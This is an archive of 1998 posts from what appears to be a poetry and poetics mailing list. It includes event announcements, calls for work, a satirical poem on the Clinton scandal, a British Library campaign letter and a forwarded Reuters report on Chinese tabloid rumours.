Participating artists include: Susan Barron, Susan Bee, Charles Bernstein, Jake Berry, Lisa Bloomfield, Bill Burke, Chris Burnett, Martha Carothers, David Carson, Class Action, Critical Art Ensemble, Michael Corris, Clay Debevoise, The Font Bureau, Brad Freeman, Gary Gissler, Joan Goswell, Edgar Heap of Birds, Julie Harrison, Joe Elliot, Scott Helmes, Jack Hirschman, Tatana Kellner, Susan King, Ruth Laxson, Stephanie Brody Lederman, Warren Lehrer, Zuzanna Licko, Glenn Ligon, Joan Lyons, Jackson Mac Low, Clifton Meador, Emily McVarish, Alistair Noble, James Petrillo, Archie Rand, ReVerb, Gary Richman, Paula Scher, Felicia Rice, Guillermo Gomez-Peña, Enrique Chagoya, Mira Schor, Blair Seagram, Clarissa Sligh, Austin Straus, Anne Tardos, Rudy VanderLans, Irving Weiss, Anna Wolf, Jody Zellen, Murray Zimiles, Philip Zimmermann, Janet Zweig, and others. Special 'Zine selection curated by Matt Ferranto.

Special Events:

September 26, 6:30 - 8:00: Opening Reception, Neuberger Museum

October 8, 1998, 4:00 pm: All-Campus SUNY Purchase Conference: "New Media: Assessing the Impact on Teaching, Art, and Scholarship," with Purchase College Faculty members Johanna Drucker, Margot Lovejoy, Jim McElwaine, Peter Ohring, Nina Strauss, and Gary Waller.

October 18, 1998: 12:45 to 1:30 pm: Gallery Talk and Tour with Johanna Drucker, curator of The Next Word.

October 18, 1998, 2:00 pm: Outdoor Dance by internationally acclaimed dancer Sally Silvers featuring professional dancers, students from Purchase College Conservatory of Dance, and students from Purchase Youth Ballet.

November 4, 1998, 7:00 pm: Poetry in Performance featuring poets Jackson Mac Low, Joe Elliot, and Johanna Drucker.

September 26 to October 24, 1998: Printed Matter Bookstore at DIA, 77 Wooster Street, New York City, is hosting a special exhibition in conjunction with The Next Word and artists' books by participating artists will be featured and available for purchase. [redacted].

Bus transportation available from Printed Matter Bookstore to the Neuberger Museum the night of the opening, September 26. Call [redacted] for more information.

A CATALOGUE of the exhibition is available through the Neuberger Musuem.

The NEXT WORD
Neuberger Museum of Art
Purchase College, SUNY
735 Anderson Hill Road, Purchase, New York
[redacted] for more information.

--==========_23147625==_.ALT

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Heap of Birds, Julie Harrison, Joe Elliot, Scott Helmes, Jack Hirschman,
Tatana Kellner, Susan King, Ruth Laxson, Stephanie Brody Lederman, Warren
Lehrer, Zuzanna Licko, Glenn Ligon, Joan Lyons, Jackson Mac Low, Clifton
Meador, Emily McVarish, Alistair Noble, James Petrillo, Archie Rand,
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</html>

--==========_23147625==_.ALT--

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348. **Judy Roitman**

Re: poetics seminar

Tue 15 Sep 1998

> *For all my fellow Lawrencians (and all others lurking in the bi-state area (Judy, MaryRose, Jim, George, Dale, Ken etc.)-- The first meeting of the poetics seminar will be tomorrow (Sept. 16) at 5 p.m. in the Hall Center. The presenter is Joe Harrington (dept. of English): "Poetry as Crossing: The Newspaper Poems of Anna Louis Strong (Anise), 1918-1920."*
>
> *On Oct 14 is George Hartley: "The Poetics of Hybridity" on Nov. 18: Ken*

> *Irby: "The Poetry and Poetics of Robert Duncan."*
>
> *The spring schedule is still wide open and I welcome your suggestions.*
>
> *Jonathan Mayhew*
> *Department of Spanish and Portuguese*
> *University of Kansas*
> [redacted]

Who's Dale?

Cheers.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://www.math.ukans.edu/~roitman/

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349. Christopher Reiner
Re: LA READINGS
Tue 15 Sep 1998

Just wanted to add something to Standard's post:

If you want more info about the L.A. Books readings, check out the web site:

http://www.litpress.com

You'll also find photos from previous readings at Cafe Balcony. And, as always, we post annoucements of new publications by literary presses (newly updated).

--Chris Reiner

On Mon, 14 Sep 1998, P.Standard Schaefer wrote:

> *Just wanted to let LA area people that the LA BOOKS READING SERIES has resumed.*
>
> *Stephen Ratcliffe and Todd Baron*
>
> *will be reading this Sunday 4pm at Cafe Balconey*
>
> *which is located on the West Side at 12431 Rochester at the corner of Santa Monica and Centinela.*

> *Hope to see you there.*

↑ Index

350. cris cheek
oval orifice
Tue 15 Sep 1998

Tricky-Dicky, Tricky-Dick, come out, open Bill's Gates
Pray tell, how your contrary garden do grow?
Compere our vegetate seeds, mix our Fates
Dick, blow on that schtick, tit-willow tit-willow.

If you're tired of a two-way, call out Tricky-Dick
When in search of a new way, a less schticky schtick
He'll huff you and puff you, you just take your pick
All hail!, the adaptor, your friend, Tricky-Dick.

Lewd Pinky put the boxes in the Capitol and the world rolled away. Hanky-Panky sweeps these broken worlds for love. Tricky-Dick oil your eye from that buttercup shell. Lewd Pinky does the cigar dance, Asia falls to its knees. Hanky-Panky corroborates sex-change truth with advocates of sun-dried life. Tricky-Dick, calling the hail from the hallways of the malls of America.

Tricky-Dicky, Tricky-Dick, come out, open Bill's Gates
Pray tell, how your contrary garden do glow?
Compere our vegetate seeds, mix our Fates
Dick, blow on that schtick, tit-willow tit-willow.

Lewd Pinky busts through the door and Russia goes south. Humpty-Panky clutching at King's bannisters of sentimental poetry in a last ditch attempt to pre-empt the great fall. Lewd Pinky looking up deflation in American Heritage Dictionary, news fit to squint. Hanky-Panky runs a spellcheck on his memoirs, finds continual confusion as to whether pinky or Panky was his avowed intent.

If you're tired of a two-way, call out Tricky-Dick
When in search of a new way, a less sticky schtick
He'll huff you and puff you, you just take your pick
All hail, the adaptor, your friend, Tricky-Dick.

Lewd Pinky tripped and packaged no need to leave the baby house. Tricky-Dick, hiding in the shadows of your shadows, with his banjo string twanging. Senator Hanky-Panky kisses Blair Rabbit during total eclipse of the moon, offspring from wind expectant. We take you there, behind the picket fence of Tricky-Dick.

Lewd Pinky plump as LA, sharp as berets. "Hanky-Panky put as gold" the children chant, each time a ball gleams through their project hoop.

Tricky-Dicky, Tricky-Dick, come out, open Bill's Gates
Pray tell, how your contrary garden do grow?
Compere our vegetate seeds, mix our Fates
Dick, blow on that schtick, tit-willow tit-willow.

Lewd Pinky gnawing squirrel for dinner as the place goes nuts. The Tale of Little Brave Hanky-Panky, over 3 billion copies sold worldwide! Lewd Pinky floating boats economists had forgotten to plug. Hanky-panky in a fit of peek, caught nappying with Woody Allen down at the neon strip reading 'shrimp in the house'.

If you're tired of a two-way, call out Tricky-Dick
When in search of a new way, a less sticky schtick
He'll huff you and puff you, you just take your pick
All hail, the adaptor, your friend, Tricky-Dick.

Lewd Pinky grand juried, squaring the circle jerk. "Hanky-the rope-Panky saves the end of the day, read all abort it!". Tricky-Dick peucing the blandishments of a twisted artefact. Lewd Pinky Nancy's eyes gone Democrat, smile like a bruise. Hanky-Bannister, pissed as case of built, sycophants notwithstanding, hick as a stub. Tricky-Dick peucing the blandishments of a tristed Arniefact.

Tricky-Dicky, Tricky-Dick, come out, open Bill's Gates
Pray tell, how your contrary garden do glow?
Compere our vegetate seeds, mix our Fates
Dick, blow on that schtick, tit-willow tit-willow.

Lewd Pinky moving millions into Treasury Bills. Bull market - Hanky-Panky drives the dream tomb home. Lewd Pinky's signature a genre of memoir everybody speeds. Thank God for Hanky-Panky! Lewd Pinky and the Sudanese it's sticky. Hanky declares war on off-colour duds, official, the Panky pledge in full, inside. Lewd Pinky's mouth an oval full of lampoon. 'Hanky-Panky go home, phone (phoneme) the raft son. Lewd Pinky, Lewd Pinky, they moan in Indiana; Lewd Pinky Lewd Pinky, sanctimonious Connecticut cries. Hanky-Panky, Hanky-Panky runs for term, the low-down on those impacted knees. Lewd Pinky red rude, blue nude Lewd Pinky. Hanky-Panky sings the folks back home. Lewd Pinky put up, Lewd Pinky downloaded, Lewd Pinky on bar stools, Lewd Pinky fast food. Vote H-P, the man who stands for Higher Purchase, vote for H-P it can't get any better, H-P, H-P, it won't get any worse.

Interlude buzzes the phone off the hook, the voice on the line, the ear in a crook. "Er, listen, H-P, it's Tricky Dick; can you please explain what's up with

this shtick? I'm thinking you saps maybe just need a third, and I'm beating the Bush, it's bad bad bad. Let me have a refrain if a refrain's to be had."

C=I=G=A=R S=E=X Mail Sex
PHONE SEX Pizza Times
PIZZA SEX Phone Sports
Daily Mail Head Lines

h-a-n-g-i-t-u-p-h-a-n-g-i-t-u-p

"The full Olympic atmostphere" from ear waxes to belly nurr "like doing homework" on her knees, polishing the flowers "she let slip a 'breast'" nothing the rocket bra can't sort print says of the tube Squeezed and Direct

Prosecute to the full extent every inch of it hackers in New York going deeper into the body rewrote the front page 'Driv-ing on Ac-id is Ea-sy!' defending their activity Tricky Pinky needs that Hanky

"To get her own show" the name's Moniker "sanctions are likely" but the initial M will have to do "it's plain that sex" or something re-sembling it, in name only "it's very disappointing" UK bans viagra, falls expected

traffic jams but few crashes the memory rendered obsolete Internet Data Analysis access to only certain 'bits' "sparkle in shades of gray" pardon, bytes excerpts from the second rebuttal "ARNIE!" "ARNIE!"

cc + kt

↑ Index

351. A. Jenn Sondheim
chronic poverty
Tue 15 Sep 1998

-

Writing in a Garret or Garrotted

If anyone out there needs proofreading or copyediting, please let me know. If anyone out there needs internet advice or advice for the internet love- lorn, please let me know. Honestly small charges under all conditions including inter-net consulting. Circumstances are relatively dire here. Please backchannel.

Please disseminate and pass on my work as quickly as possible wherever possi-ble before the Y2K problem blows up the hard drives. Since I'm fairly marginal, any stolen republished texts greatly appreciated. Once I'm dead also you may

have my body to do with what you will, but it's a poor body and there's not much in the doing.

Meanwhile, trying to organize a panel on the future of the net - below some topics - request for comments -

Community - What emerging forms of community will come into existence? Virtual Reality - What enhanced modes of perception will exist? Access - How will the rest of the world be wired? Will it? With what consequences? Geopolitics - How will the global political and economic climates change as a result of a world-wide network? Information Wars - What sorts of hacking, vulnerabilities, and propaganda moves will occur? How will these interact with "real" vandalisms and wars? Subjects and History - Will "history" still exist? Will the "subject"? Will capital tend to dominate the online user, and will he or she be "inserted" into capital? Resistance and Culture - What forms of resistance and culture will occur? Cyborgia - What forms of technology will transform the body itself into the networked body?

That's about it - if the panel flies, I'll let you know. Have a couple of chapbooks appearing, I'll let you know; I'm more than greatful for them.

Are there swat teams for flies?

Alan-in-the-face-of-the-moon

↑ Index

352. Juliana Spahr
call for work for Chain
Tue 15 Sep 1998

Did I already submit this? If so, please ignore.

We really need some good archival or letters as cultural artifact type stuff if anyone has any ideas (we need less work that breaks words into letters--already got a healthy sampling).

Chain /6: Letters

so adieu deelest Md Md Md FW FW Me Me Me Lele I can say lele yet oo see—Fais I don’t conceal a bitt
—Jonathan Swift

You say I confess the little mistake and omit the large-Because I see Orthography-
—Emily Dickinson

But as well as being both material and abstract, letters have another important characteristic: they are collective. There is a collective store of letters (the linguistic system) and this is what allows communication between subjects, and interpretation. —Jean Jacques Lecercle

Meaning is never simple (except in mathematics), and the letters which form a word, though each of them is rationally insignificant . . . keep searching, in us, for their freesdom, which is to signify something else. —Roland Barthes

I am composed of nine letters.
—Susan Howe

Epistolary exchanges, alphabets, symbols, orthographies, archival finds, typographies, correspondences, lettrist hypergraphies, the letter of the law, fonts, emblems, handwriting, inscriptions, glyphs, gossip, notes, rebuses, phonetics, mesostics, acrostics, graphemes, anagrams, hypograms, scarlet, purloined, valentines, letters from camp, letters from the front . . .

As always, we especially encourage collaborative, interdisciplinary, and mixed media work.

Please send poems, essays, performance texts, film or video stills, scripts, camera ready visual art, musical scores, choreographic notes, proposals, etc., by December 1, 1998. Please send copies to both Jena Osman and Juliana Spahr; send only visual art to Janet Zweig (addresses are on page 295).

Please do not send submissions by email. Submissions on disk are acceptable, but please enclose a hard copy for our reference. More extensive submission guidelines are available via our web site (accessible from http://writing.upenn.edu/epc/mags).

Please enclose a self addressed, stamped envelope if you would like your work returned.

call for work
Different Languages Website

We are working on setting up a website of multilingual works. The website will present a bibliography, out of print works, testimony and assignments from people using multilingual works in the classroom, and criticism. Please send work—poems, prose, essay, plays, camera ready visual art, performance texts, film or video stills, clips, and/or scripts, criticism, musical scores and/or sound files, choreographic notes, teaching statements, bibliographies or bibliography entries, suggestions for reprints of out of print works—for consideration to us anytime in the next year. We encourage you to submit to this project on disk (although if you do so, please send an accompanying paper copy for our

reference). Please send submissions for this project to both Jena Osman and Juliana Spahr. Please do not send submissions by email.

↑ Index

353. Juliana Spahr
addresses for chain
Tue 15 Sep 1998

Sorry. Forget to give addresses for Chain submissions:

Jena Osman
Department of English
P.O. Box 1000
Ursinus College
Collegeville, Pennsylvania 19426

Juliana Spahr
Department of English
1733 Donaghho Road
University of Hawai‘i, Manoa
Honolulu, Hawai‘i 96822

Janet Zweig
54 Willow Street
Brooklyn, New York 11201
(only visual art)

↑ Index

354. david bromige
The Body of Alan Jennifer Sondheim
Tue 15 Sep 1998

Is a fine one, this was in public that I had my arms around him and he was a wonderfully warm, resilient armful, but I dont want his body after he's dead.

In fact the whole problem of dying is that one leaves (generally speaking) a corpus delecti behind.

Alan, I've downloaded some of your writings and will b-c you as to which....give me a week, I'm deadlined territory right now. Not much discretionary income, though, in fact, none. Isnt there a List for the Rich?

DB, Unsocial Sect'y, A J Sondheim Soc'y.

↑ Index

355. **Don Cheney**

Re: Best Sellers (?)

Tue 15 Sep 1998

---

and i'll take Best American Pot, 1998
don

> *Hey, Natalia, order me up a couple copies of DINK....*
> *or at least VIRILITY, with a side order of*
> *poems for the num--either volume.....*
> *thanks, chris*
>
> *On Sat, 12 Sep 1998, Natalia Pang wrote:*
>
> *Ted Hughes, The Birdy Leers, 1,835*
> *Best American Pot, 1998 3,761*
> *AG, owl & her ems 3,890 (after 43 years!)*
> *Donald Hall, Wo 14,135*
> *Poems for the num, Vol 2 24,970*
> *Poems for the num, Vol 1 33,095*
> *Allen Ginsberg, Colom 33,291*
> *Jorie Graham, Dram of a fed i 44,291 (not a typo)*
> *JD McClatchy, I'm a fucky Bozo! 70,244*
> *Margy Sloan, Moving Borders 72,240*
> *Acker, Blood & Guts in High School 75,073*
> *The L=U=N=G=R=A=G=E Book 89,148*
> *Acker, Bodies of Work 97,182*
> *Robert Hass, Morning Wood 97,067*
> *Celan, Breathturn 98,518*
> *Perelman, gila of Poetry 128,700*
> *Ashbery, no ear, Bird 134,833*
> *Creeley, Collected Poems 136,634*
> *Dana Gioia, Molestor 151,311*
> *Jorie Graham, Ern 154,316*
> *Perloff, Radical ice 163,982*
> *Lew Welch, Ring of Bone 176,647*
> *In the American Tree 189,557*
> *Acker, Don Quixote 192,379*
> *Creeley, Life and Death 198,541*
> *Watten, ram 219,401*
> *Hejinian, The Cotry 245,352*
> *Elaine Equi, coy 247,338*
> *Bernstein, Dark City 288,634*
> *Bernstein, Close ting 356,420*
> *Watten, Tax 362,114*
> *Coolidge, tex 389,892*
> *Gertrude Stein Awards, 94-95 448,790*

> *Perelman, Virity 462,792*
> *Perelman, Wralks 522,751*
> *Armantrout, Made teem 566,537*
> *RS, Lyn, Watten, Davidson, L'ning rad 665,959*
> *Silliman, Dink 771,155*
> *Silliman, Xing 771,157 (Meow Press!)*
> *Fanny Howe, Td 920,071*
> *O'Sullivan, Ouf 1,061,724*
> *Bromige, Harm aster of Hogo 1,146,129*
> *Jim Brodey, Heart of Breath 1,148,421*
>
> ---
> *Get Your Private, Free Email at http://www.hotmail.com*

==========
Visit Don Cheney's Home Page & Clean Neck Shop
http://www.geocities.com/Paris/5791
==========

↑ Index

356. **Gwyn McVay**
Re: Best Sellers (?)
Wed 16 Sep 1998

Humboldt County, California.

On Tue, 15 Sep 1998, Don Cheney wrote:

> *and i'll take Best American Pot, 1998*
> *don*
>
> *Hey, Natalia, order me up a couple copies of DINK....*
> *or at least VIRILITY, with a side order of*
> *poems for the num--either volume.....*
> *thanks, chris*
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Get Your Private, Free Email at http://www.hotmail.com

==========
Visit Don Cheney's Home Page & Clean Neck Shop
http://www.geocities.com/Paris/5791

> ==========

↑ Index

357. **Lawrence Upton.**
Re: chronic poverty
Wed 16 Sep 1998

From: A. Jenn Sondheim <[redacted]>
Date: 16 September 1998 01:01
Subject: chronic poverty

|Meanwhile, trying to organize a panel on the future of the net - below |some topics - request for comments - | |Community - What emerging forms of community will come into existence? |Virtual Reality - What enhanced modes of perception will exist? |Access - How will the rest of the world be wired? Will it? With what | consequences? |Geopolitics - How will the global political and economic climates change | as a result of a world-wide network? |Information Wars - What sorts of hacking, vulnerabilities, and propaganda | moves will occur? How will these interact with "real" vandalisms and | wars? |Subjects and History - Will "history" still exist? Will the "subject"? | Will capital tend to dominate the online user, and will he or she be | "inserted" into capital? |Resistance and Culture - What forms of resistance and culture will occur? |Cyborgia - What forms of technology will transform the body itself into | the networked body?

what kind of panel, please? Physical, virtual, or something else?

Lawrence Upton

↑ Index

358. **Katherine Lederer**
Nava Fader contact info?
Wed 16 Sep 1998

Does anyone have Nava Fader's E-mail address?

Thanks,
Katy

↑ Index

359. **Pritchett,Patrick**
Re: Shiny No. 9/10
Wed 16 Sep 1998

SHINY MAGAZINE No. 9/10 will be available in December 1998.

The magazine is edited by Michael Friedman, with Duncan Hannah as art editor and Eileen Myles, Ron Padgett and Geoffrey Young as contributing editors. No. 9/10 is guest-edited by Larry Fagin, 224 pages long and sticks with the same format that received the Society of Publication Designers' Merit Award in 1993....

The issue features work by over 30 poets, including: **OVER 25 PAGES FROM TED BERRIGAN'S JOURNALS** Plus: John Ashbery, Stephen Rodefer, Lyn Hejinian, Harry Mathews, Clark Coolidge, Carla Harryman, Ted Berrigan and Ron Padgett, Michael Gizzi, Tim Davis, Ange Mlinko, Ted Greenwald, Judith Goldman, David Meltzer, Lisa Jarnot, Miles Champion, Pierre Reverdy, Gillian McCain, etc.

Special pre-publication price includes free postage.

To order, send check or money order for $15.00 payable to: Shiny International Publications, Inc. to: Shiny, P.O. Box 13125, Denver, CO 80201. After Nov. 10, please enclose $2.50 for postage and handling.

SHINY nos. 1 - 8 were published between 1986 and 1992 in NYC.

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360. joel lewis
Dodge Poetry Festival
Wed 16 Sep 1998

Dear List:

I'm posting some info about the upcoming Geraldine R. Dodge Festival that is taking place at Waterloo Village, Stanhope, NJ. Though I'm well-aware that the poetry of some of the participants may send some list members into doing un-controllable and illegal acts, I'm hoping that this info might be forwarded on to those with an interest in the poetry mainstream. If you are teaching creative writing classes, I hope you let your students know aboutthis event -- which is the largest poetry festival in North America.

As a matter of truth-in-advertising, I am a publicist for the event.

Among the over 60 readers are

Amiri Baraka
Sharon Olds
Bei Dao
W. S. Merwin
Eliot Weinberger
Alicia Ostriker
Galway Kinnell

Marge Piercy
Robert Pinsky
Adrienne Rich
Faye Chiang
Denise Duhamel
Bob Holman
Mark Doty
&
Lucille Clifton

There are also open readings, workshops, talks and other poetry related events.

The festival runs from Thursday September 24 thru Sunday September 27. Events run from 8am to about 10pm.

Waterloo Village is a beautiful site and if you bring along non-poetry type friends, they can wander around the pond, lake and restored section of the Morris Canal. There is food and refreshments available, as well as a large poetry book store run by Borders.

Waterloo Village is in Sussex County and is off Exit 25 of Route 80. Follow signs to Stanhope/Waterloo Village.

There is a Poetry Bus that is leaving from the Port Authority Bus Terminal which will be showing the "Poetry Heaven" video made at the last festival. The ride takes about an hour and fifteen minutes

A full schedule is available at: www.grdodge.org. You can e-mail the festival offices at [redacted].

A day pass for Th-Sat is $16. There is a $10 ticket for evening events as well as all-day Sunday. A festival pass is $50. There are reduced rates for students and seniors Tickets are available at the gate or thru Ticketmaster ([redacted] or www.ticketmaster.com).

People can backchannel with any questions about the festival.

Hope to see you there!

Joel Lewis

↑ Index

361. P.Standard Schaefer
Paul Long?
Wed 16 Sep 1998

Anybody able to help me find Paul Long would be a big help indeed.

Backchannel

thanks

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362. John Cayley
Keep The British Library Free
Wed 16 Sep 1998

KEEP THE BRITISH LIBRARY FREE!

September 15th 1998

Dear Poet

As you may know, the Board of the British Library is currently considering a proposal to charge readers 300 pounds a year for use of the reading rooms. This proposal was put forward in a Strategic Review Consultation Paper issued in mid-July and which called for responses by 28th August. The decision on whether to recommend to the government the introduction of charges will be made at a final meeting of the Board on October 16th.

KEEP THE BRITISH LIBRARY FREE! has been set up to campaign against the introduction of any form of charging. The Campaign believes that charging for use of the reading rooms would alter irrevocably the nature of the Library, as well as contravene the directives of the 1972 British Library Act, which established a national centre for reference, study and bibliographic and other information services. Any charging scheme, whatever exemptions might be offered, would inevitably exclude some individuals on the grounds of inability to pay. Over and above that, every tax-payer has, of course, already paid for use of the reading rooms - by contributing 80 million pounds a year to the Library.

Despite the fact that the consultation period took place at a time when most academics, writers, and students were away, the Campaign has rallied strong opposition to this proposal. At the end of August, it organised a successful public meeting, attended by over 200 people, and addressed by Frances DSouza, Frank Kermode, and Roy Hattersley, among others. And on 28th August, a 150-strong lobby presented the Board with a petition of over 6000 signatures and 250 letters of protest. In addition, there have been many letters in the press about the issue, and several lengthier articles. A recent broadcast about the Campaign on the BBC World Service reached over 140 million listeners worldwide.

We would very much like you to help us in the Campaign. We are sure you subscribe to the view that libraries are fundamental to a thriving democracy, culture, civilisation and economy and agree that charges at the national library would set a precedent for local public libraries to introduce charges of their own. More particularly, as a publisher, I am sure you would wish to support the

many writers who use the British Library - as such individuals are essential producers in the industry itself. Your primary suppliers, in fact.

It is very important, therefore, that we keep up the pressure on the British Library Board in order to ensure that the introduction of charges does not continue as an option. We need your support. Here is how you can help the Campaign:

(1) Please send a message of support to Keep the British Library Free! c/o Ian Wollington, Flat 3, 91 Richmond Road, London E8 3AA e-mail: [redacted]

(2) Respond to the Strategic Review Consultation Paper. Although the consultation period has formally ended, the Paper says that it would still welcome responses after this date, though by now it is vital that you do so as soon as possible. A copy of the Strategic Review Consultation Paper can be accessed on the Internet at http://www.bl.uk

Responses can be by fax 0[redacted]; or by e-mail at:
[redacted]

For further information and details, you can access our website on:

http://www.geocities.com/Athens/Aegean/8435/Library.html

(3) Come to the rally on the afternoon of 14th October, two days before the final decision is made. We plan to gather in the piazza of the British Library at 2pm. We will have speakers to address the meeting. It is vital, therefore, that as many people as possible attend. We need to show the strength of the opposition to these charges. We hope therefore that you and other members of your organisation will be able to attend. You may even wish to speak at the meeting.

(4) Finally, we do need funds to finance the campaign - to pay for leaflets, posters, the hire of meeting halls, and so on. Please send any donation, however small, to Keep the British Library Free!, c/o Bryan Smith, 26 Devonia Road, London N1 8JH

If you need any further information, please do not hesitate to contact either: - Ian Wollington on 0171 2499592 or [redacted]

or Peter Preston at [redacted]. Many thanks.

Yours sincerely,

Ian Wollington & Peter Preston

List of Supporters:

Peter Ackroyd, Tariq Ali, Professor Robin Alston, Professor Aziz Al-Azmeh, Richard Barbrook (Hypermedia Research Centre), Professor Chris Baldry (University of Stirling), Tony Benn, Alex Callinicos, Nick Cohen, Mel Doyle (Deputy

General of the Workers Education Association), Frances D Souza (Article 19), David Edgar, Keith Flett, Michael Foot, Dr. Gregor Gall (University of Stirling), Roy Hattersley, Robert Harris, Frank Kermode, Doris Lessing, Professor David Marquand, NUJ, Dr. John ONeill (University of Lancaster), Ursula Owen (Editor of Index on Censorship), Professor Michael Preston (University of Colorado), Jonathan Re (University of Middlesex), Professor Stephen Rose (Open University), Conrad Russell, South Islington Bangladesh Association, Max Stafford-Clark, Tom Stoppard, Philip Taylor (University of Stirling), Hilary Wainwright (Red Pepper), Fay Weldon, Francis Wheen.

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Get Your Private, Free Email at http://www.hotmail.com

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363. **dbkk**
This week: San Francisco events
Wed 16 Sep 1998

Hi, this is Dodie. Before I announce the beginning of Small Press Traffic's 24th season, I'd like to mention a group video show that's happening this Thursday (the 17th) at ATA (Artist's Television Access), right down the street from SPT at 992 Valencia. It's an evening of shorts by a variety of local video makers. In one, by Kota Ezawa, Kevin Killian plays the head of Muni, whose secretary murders him with snake venom and dumps his body in Golden Gate Park. Commuters, come indulge your fantasies! (Muni is the increasingly dreadful San Francisco transit system.)

Verse and Vino, our new series at Yerba Buena Center for the Arts! co-produced with YBC¹s In Conversation series (curated by Natasha Boas)

Friday, September 18, 7:30 p.m.
Roberto Tejada
Rodrigo Toscano

We are pleased to begin this new series of poetry and wine evenings at Yerba Buena with Rodrigo Toscano and--in a rare visit to San Francisco--the art writer and poet Roberto Tejada.

Roberto Tejada was born in Los Angeles, California (1964). He has published critical reviews and writings on contemporary Latin American artists and photographers in Boletín de Curare, La jornada, Artes de Mexico, Luna cornea (Mexico),Third Text (UK) Flash Art (US-Italy) Arte Internacional and Art Nexus (Colombia). After ten years in Mexico City, editing Mandorla: New Writing From the Americas, an annual of advanced poetry and poetics, Tejada lives now in Austin where he's the assistant curator at the Wittliff Gallery of Southwestern and Mexican Photography at Southwest Texas State University in San Marcos. His poetry slows down the "reckless velocity of the social" with the figures and tropes of international (post) modernism. This writing pingpongs from a short, fragmentary, careful line a la Beckett to vast postapocalyptic caverns of fantasy and Bataillean distress. His enemy? The implacable, trivial "exoticism" demanded by the market, hell on serious art production.

Rodrigo Toscano's poetry, like his work in the labor movement, has become a cutting edge laboratory for social action. Does "poetry make nothing happen"? Don¹t tell that to Toscano, whose dizzying, polyvocal poetry begins with the speech of two nations and deconstructs it to a revolutionary music. Toscano's work has won him many fans among the "Language" and "post-Language" poets, but it's a nightmarish mirror of the social realities behind both the headlines and the stories we don¹t hear about. Originally from San Diego, Toscano's forthcoming books include The Disparities (Sun and Moon), and Partisans (O Books). His work has appeared in journals such as New American Writing, Chain, West Coast Line, Poetics Journal, The Washington Review, Zyzzyva, Big Allis, Tripwire, Object/Torque and others. He is currently at work on an as yet untitled book commissioned by Atelos Press.

Check out our new space!
Yerba Buena Center for the Arts Lounge
701 Mission Street (at 3rd), San Francisco
$5/$3 for seniors & students

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364. **A. Jenn Sondheim**
Re: chronic poverty
Wed 16 Sep 1998

I'm trying to organize a real panel on this subject for the spring, here in New York - proposing this to the School of Visual Arts. It would be in real space; there might be a Net component - I've done that a lot before, and the Cyber-mind conference we held in Perth, Australia, involved every- thing from CuSeeMe video to Real Audio to newsgroups, a MOO, etc. (I was there in real life.) So we'll see...

yours, Alan

↑ Index

365. **J Kimball**
Gordon Lish Festschrift
Wed 16 Sep 1998

Forwarding this message from Deron Bauman and Cooper Renner.

Tentative deadline for submissions is Nov. 1. Contact Renner at <[redacted]> or at the address, below, for further info. Thanks.

Deron Bauman, editor of the online literary magazine "elimae" <elimae.com>, has agreed to use the "pages" of "elimae" as the host site

for a Festchrift in honor of Gordon Lish. Gordon, as many of you probably know, has sustained any number of generally unjust and inaccurate portrayals, and we would like to counter these portrayals with positive depictions which reflect the marvelous work he has done for many of us as editor and/or teacher, as well as thoughtful examinations of his writings by any of you who would like to do more scholarly or critical writing. With the proper submissions to work with, we can make this festschrift the first really in-depth look at Gordon's work, an archive of material for current and future readers and students, and a generous tribute which a man who has helped so many of us deserves to be able to read. If you are interested in contributing to the festschrift, the form which your contribution takes-- memoir, critical review, personal essay-- is up to you. If you have contact with other writers who would like to contribute, please help us to spread the word. Online contributions will be easiest for us to handle, and should be sent to the email address on this message, but regular mail will be accepted as well

and should be sent to:

Cooper Renner
2617 Roosevelt
San Antonio, TX 78214

Thanks for your attention.
Yours,

Cooper Renner
Deron Bauman

↑ Index

366. Keith Tuma
Fred Moten
Wed 16 Sep 1998

Grateful for any kind of address or phone for Fred Moten.

Keith Tuma

↑ Index

367. joel lewis
f.y.i.("In China, the buzz is that Lewinsky is KGB agent")
Wed 16 Sep 1998

05:31 AM ET 09/16/98

By Matt Pottinger

BEIJING, Sept 16 (Reuters) - ``Is Lewinsky with the KGB?'' screams a headline in a popular Chinese magazine.

As the White House sex scandal unfolds, the racier publications on Beijing newstands are having a field day with the story, even as staid newspapers such as the People's Daily report the simple facts without the tawdry details.

Packed with gossip on U.S. President Bill Clinton's plight, the latest issue of Guandong Writer magazine would make Western tabloid editors green with envy.

The cover story is entitled ``Clinton's Sex Scandal: White House or Palace of Lust?''

Its most sensational allegation: Former White House intern Monica Lewinsky was sent to Washington, when she was a child in the 1970s, as a Cold War agent on a mission to sexually ensnare the president and destabilise U.S. politics.

``Information has exposed Monica Lewinsky as a spy assigned by the former Soviet Union. Her mission was to drag a U.S. president through the mud!'' the article said.

The story was attributed to a retired KGB official who now runs a karaoke bar in Moscow.

Beijing is buzzing with the story, which is taken as fact by many residents.

``Isn't Lewinsky a Russian spy?'' said 38-year-old Xu Tieliang, as he dug into his pockets for cash to buy cigarettes at a street market.

``I read it in one of the little papers. Maybe the American newspapers are scared to print it,'' he said.

Clinton is a familiar and well liked figure in China, where

he appeared uncensored on national television during a groundbreaking visit in June.

Officially, China is silent on the sex scandal. ``We don't comment on that,'' said a foreign ministry official on Tuesday in response to a reporter's question.

State media largely ignored the story until U.S. independent counsel Ken Starr issued his report alleging potential grounds for Clinton's impeachment.

Even then, stories in the Communist Party mouthpiece, the People's Daily -- a benchmark of political correctness in China -- have been terse and buried on the inside pages. Lurid details of oral sex have been ignored.

The popular media, including tabloids and city broadsheets, tested the limits of official tolerance by initially running news briefs.

Sensing the coast was clear, they abandoned caution, and now Clinton's follies are grist for radio talk-shows and full-page newspaper spreads.

The subject matter has ranged from salacious gossip to poignant political commentary.

The Yangcheng Evening News, a southern daily, on Tuesday splashed fuzzy pictures apparently skimmed from the Internet portraying Clinton with a ``mystery woman'' it dubbed ``the second Monica Lewinsky.''

Other papers have taken a crack at putting the scandal in context for Chinese readers, while poking fun at U.S. hysteria.

``Sometimes you simply don't know whether to laugh or cry over Western democracy. In what is supposedly the 'sexually liberated' West, people are really making a mountain out of a molehill,'' said the Guandong Writer.

A commentary in China Women's News entitled ``Poor Fellow'' starts out by moralising about Clinton's excesses, but ends up praising the United States for having ``stricter supervision than any country on earth'' over its government.

If a president could be skewered for something as slight as a character problem, the commentary said ``what official over there would ever dare to engage in corruption.''

In a wry jab at Chinese politics, the author suggested that Clinton could avoid public scrutiny if he were a Chinese official instead of an American one.

